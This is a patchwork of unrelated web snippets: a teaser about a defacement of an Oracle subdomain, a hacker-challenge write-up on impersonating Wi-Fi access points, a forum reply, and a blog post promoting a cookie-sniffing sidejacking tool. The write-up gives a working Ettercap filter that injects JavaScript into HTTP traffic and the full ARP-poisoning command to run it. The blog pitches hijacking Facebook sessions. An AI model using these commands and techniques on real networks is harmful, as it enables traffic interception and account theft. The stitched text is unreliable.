A group of Indian Hackers dubbed as I-HOS TEAM has successfully defaced a page on the sub domain of Oracle Corporation, biggest provider of enterprise software, computer hardware and Services. The users visiting the domain are being greeted with a custom webpage with black background and the theme song of an Indian Movie “BOSS”. The defacement page is displaying a logo with title “IHOS –…
Impersonating Access Points and Injecting JavaScript
Abstract
Devices with a Wi-Fi radio on board are always looking to be connected. Mobiles devices have a yearning to be connected. By exploiting this functionality, a malicious user or can impersonate an otherwise safe network and take control of the network that the device has connected to. Using a consumer-grade access point with modifications to the firmware, we will be able to manipulate the unencrypted traffic which is traversing the access point’s network, although the tool can be configured to modify and inject code for a secure connection (SSL connection). Clients however would see a warning message.
Introduction
Many wireless devices persist the list of wireless networks they have connected to in the past. On the Microsoft Windows Operating system this list of networks is called the “Preferred Networks”. When the operating system is booted and if the Wi-Fi network interface is enabled, the operating system will begin transmitting specifically crafted packets called a probe request frame. These request frames are responsible for determining which access points are in range; they belong of the Management Frames defined in the 802.11 specification. Two types of probe requests are sent: generic probe requests, to determine all Access Points available in range, along with specific probe requests for each of the networks in the Preferred Network List.
Vulnerability
Devices broadcasting their Preferred Network List by trying to identify if a network is in range put themselves in a position that may allow an attacker to impersonate a network. An attacker can configure an Access Point to respond with Probe Response frames that indicates to the probing devices they can associate with it. This forces the probing devices to connect to the impersonated network where an attacker can capture and manipulate the traffic. More advanced attacks can also be launched to distribute malware or attempt to compromise the end-user machines.
Hardware
Any consumer grade wireless router supporting custom firmware can be flashed with an open-source custom firmware. Most consumer grade wireless routers are loaded with a Linux-like operating system. For this attack the specific piece of hardware used was an Alfa AP121-8MB access point.
Fig 1 – Image of hardware used for hacker challenge
Software
The access point used in the attack supports custom firmware as it runs an operating system that is for embedded devices; the operating system is a Linux distribution which allows for modular deployment of various packages.
The software installed on the device for the hacker challenge was the modified Jasager software from wifipineapple.com.
The software tools required to launch the attack and inject HTML code were already preloaded on the device.
The only tools required for use on the flash were ettercap and karma.
Configuration
NOTE: All the configuration details required to set up the impersonating access point are covered in the document from last year’s hacker challenge. The device used for this year’s hacker challenge automated many of the configurations, this allowed for a quicker turn around in the implementation of the attack.
The device has two interfaces for configuring it. The device can be configured by a web interface which was installed when initially setting up the device, or through a command line interface which can be accessed using SSH. The preferred method of configuration for this attack was to use SSH.
The scenario’s configuration required the device to have a bridged connection to a live internet connection. This allowed all the clients of the network to get a live internet connection further making it appear to the clients as if nothing have occurred.
Attack
The attack was launched once the configuration of the device was complete; the rouge access point was deployed in the target environment. The access point does not require power from an outlet as it can be powered by a battery pack, however for this challenge an outlet was used as the target environment was the office.
Once clients were connected to the rogue network AP, we were then able to run Ettercap and perform an ARP poisoning attack. This was required to allow Ettercap to get visibility to the network traffic.
Ettercap has a feature that allows users to manipulate the traffic running through the device on which it is running on. This feature was used to write a short filter as it is called in Ettercap to inject JavaScript. The payload of this injection was harmless; it displayed an alert box on the end-users browser indicating that the code was successfully injected. The code then resides on the end-users browser cache until they clear the cache. The attack results in a cache poisoning attack. ;) The payloads which can be provided in the injection step can be malicious. They can harvest cookies from the browser, install a keylogger, and or even modify the structure of the page as it is displayed on the end-users browser to harvest PII data.
if (ip.proto == TCP && tcp.dst == 80)
{
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbishh");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80)
{
replace("</head>", "</head><script type=\"text/javascript\">alert('jim was here');</script>");
msg("Code injected at </head>... injecting javascript\n");
}
The code required to implement the attack was minimal and can be found below. It is the implementation of the Ettercap filter.
etterfilter myFilter.filter –o a.ef
The above filter was compiled into a binary format which Ettercap requires by executing the Etterfilter application.
ettercap –Tq –F a.ef –i br-lan –M ARP:remote // // -P autoadd
The filter is the used with Ettercap to launch the attack. The syntax used for Ettercap is:
The parameters provided to the application are:
-T - Launch app in text mode
-q - Do not be verbose
-F a.ef - Execute filter a.ef against all network traffic
-i br-lan - Use interface br-lan on the access point
-M ARP:remote - Man In The Middle Attack using an ARP poison attack on all hosts on the network
// // - Empty filter; do not performing an attack against a specific target, perform on all
-P autoadd - Execute the autoadd Ettercap plugin automatically to ARP poison new clients
Below are screenshots of the end user’s machine once they are attacked. If a different payload was used, then no indication would be present on the users browser.
Fig 2 – Browser when trying to visit cnn.com
Fig 3 – Evidence of injected code on HTML page
Conclusion
To conclude, a consumer grade low-cost access point was modified fairly simply using open-source tools available online to take over a network connection and inject malicious JavaScript to an end user’s browser. Given the environment is not a rich environment of users using Wi-Fi, we were not able to compromise the get additional users to join our network, however, if this was a more targeted attack which also introduced a de-authentication attach against network users, we could have more users connecting to our network.
Ah so that's how XSS (stored) works. I always wondered how you get it to other users. I always thought, well if you inject it into your page, you can't get it to anyone else since it's only happening on your machine.
anus was talking about protecting against XSS when I was trying to install a forum and now I understand the attack vector. ^_^
Homework?
What's that?
I've just released a tool called py-cookieJsInjection on github (see Part II of this post here).
py-cookieJsInjection is a python script that sniffs cookies from the network, and outputs Javascript code that can be used to inject the cookies into any browser.
It can be used to sniff and replicate any cookies going on the wire or to filter out specific information, such as Facebook profiles:
Afterwards, you just copy & paste the Javascript injection code given, onto the URL bar, press enter and go to facebook.com.
Instead of trying to guess which cookie parameters are important for each website, py-cookieJsInjection just outputs the javascript code replicating the cookies exactly as they are seen on the wire. It can, therefore, be used for websites other than facebook. It is also a pretty handy cookie debugging tool!
What is Sidejacking?
Sidejacking is essentially a form of HTTP session hijacking that works with “passive” eavesdropping of network traffic.
A HTTP session hijacking happens when an attacker is able to steal a user's "session cookie". These session cookies are what identify user sessions in password protected websites (such as facebook). This cookie is sent to the remote (facebook) server, by your browser, each time you go back to the website (facebook.com), so you don't have to enter your password every time.
It has gained mainstream attention recently, due to the release of a tool called firesheep, that allows virtually any user with a Firefox browser to launch sidejacking attacks on an unprotected wireless network (or WEP protected, for that matter).
Why py-cookieJsInjection?
py-cookieJsInjection was built for mainly one reason: because one should not be required to have firefox, in order to launch sidejacking attacks easily ;).
There are awesome tools like Hamster and Ferret, that allow to connect through a proxy, automatically rewriting the desired cookies on behalf of the hacker. However, they require a user to build and install both Hamster and Ferret, something which may prove both cumbersome and time-consuming.
There is also CookieMonster, from Mike Perry's Epic Saga; a complex tool that takes sidejacking a bit further by tracking the HTTPs websites visited by wireless client IPs, and automatically injects HTML elements that causes any insecure HTTPs cookies to be transmitted unencrypted. This will, in fact, be the topic of a future tool/post. =)
Finally, you couldalso do it by hand, and sniff the packets on the wire, with tools like Wireshark or TCPdump.
py-cookieJsInjection only requires scapy, in order to operate. Also, it outputs javascript code that may be used in any modern browser to inject the captured cookies, by simply putting it into the url bar, and pressing enter.
Finally, it is easily extensible, and can be used by other tools that require some, or all of it's functionality (as will be seen in my next post).
More information?
You can get more information about the tool (and the tool itself), here.
